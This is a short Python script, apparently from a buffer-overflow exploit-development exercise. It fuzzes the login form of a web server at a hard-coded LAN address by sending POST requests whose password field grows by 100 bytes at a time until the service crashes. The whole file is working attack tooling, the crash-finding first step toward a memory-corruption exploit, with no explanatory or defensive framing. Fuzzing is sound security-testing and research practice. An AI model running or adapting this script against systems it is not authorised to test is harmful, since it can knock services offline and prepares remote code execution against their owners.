#!/usr/bin/env python3 import socket, time, sys ip = "192.168.0.87" port = 80 timeout = 5 def generate_payload(size): overflow = f"username=admin&password={'A' * size}" buf = "POST /login HTTP/1.1\r\n" buf += "Host: 127.0.0.1\r\n" buf += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\r\n" buf += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n" buf += "Accept-Language: en-US,en;q=0.5\r\n" buf += "Content-Type: application/x-www-form-urlencoded\r\n" buf += "Origin: http://127.0.0.1\r\n" buf += "Connection: close\r\n" buf += "Referer: http://127.0.0.1/login\r\n" buf += "Upgrade-Insecure-Requests: 1\r\n" buf += f"Content-Length: {len(overflow)}\r\n" buf += "\r\n" buf += overflow return buf size = 100 while True: try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(timeout) s.connect((ip, port)) payload = bytes(generate_payload(size), "latin-1") print("Fuzzing with {} bytes".format(size)) s.send(payload) s.recv(1024) except: print("Fuzzing crashed at {} bytes".format(size)) sys.exit(0) size += 100 time.sleep(1)